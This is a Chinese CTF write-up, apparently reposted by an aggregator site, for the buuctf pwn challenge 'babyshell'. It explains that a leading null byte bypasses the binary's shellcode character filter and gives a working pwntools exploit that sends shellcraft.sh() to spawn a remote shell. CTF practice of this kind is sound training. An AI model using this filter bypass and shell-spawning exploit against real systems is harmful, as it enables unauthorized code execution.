buuctf pwn babyshell wp
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf pwn babyshell wp相关的知识,希望对你有一定的参考价值。
一、考点
- shellcode
- 0x00绕过
- 机器码和汇编互翻
二、题目
这是buuctf中的一道pwn题,题目见下图:
三、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,在用户输入时,未出现crash,报“wrong shellcode”,说明输入的一串字符可能为shellcode,并且是错误的shellcode。。
3、IDA静态分析
拖入IDA进行静态分析,主函数main为:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE *buf; // [rsp+0h] [rbp-10h]
sub_4007F8(a1, a2, a3);
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("give me shellcode, plz:");
read(0, buf, 0x200uLL);
if ( !(unsigned int)sub_400786(buf) )
{
printf("wrong shellcode!");
exit(0);
}
((void (*)(void))buf)();
return 0LL;
}
read函数读入用户输入到buf,函数sub_400786对buf进行判断,从条件语句{}中的内容看,if判断必须为假,即sub_400786的返回值必须为真,接着分析sub_400786函数:
__int64 __fastcall sub_400786(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = &unk_400978; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
函数中,while(*a1)为假时,可绕过while循环,此时a1指向的首字符必须为0x00,因此,在构造shellcode时,第一个字符必须为0x00,才能绕过while循环,确保sub_400786返回1。
4、编写exp
根据IDA中的分析,payload的第一个字符必须为0x00,同时,需要满足首先执行一条以0x00开头的机器码,该机器码为有效的机器码,且不能影响到通用寄存器以及rip,可用的机器码有:\\x00B\\x22、\\x00B\\x00等等。
如果不知道填什么机器码,可参考汇编指令与机器码互翻的网站。
exp为:
from pwn import *
p=remote('node3.buuoj.cn',26200)
context.arch = "amd64"
p.recvuntil('plz:')
payload=b'\\x00B\\x00'+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
运行该脚本后,得到flag:
以上是关于buuctf pwn babyshell wp的主要内容,如果未能解决你的问题,请参考以下文章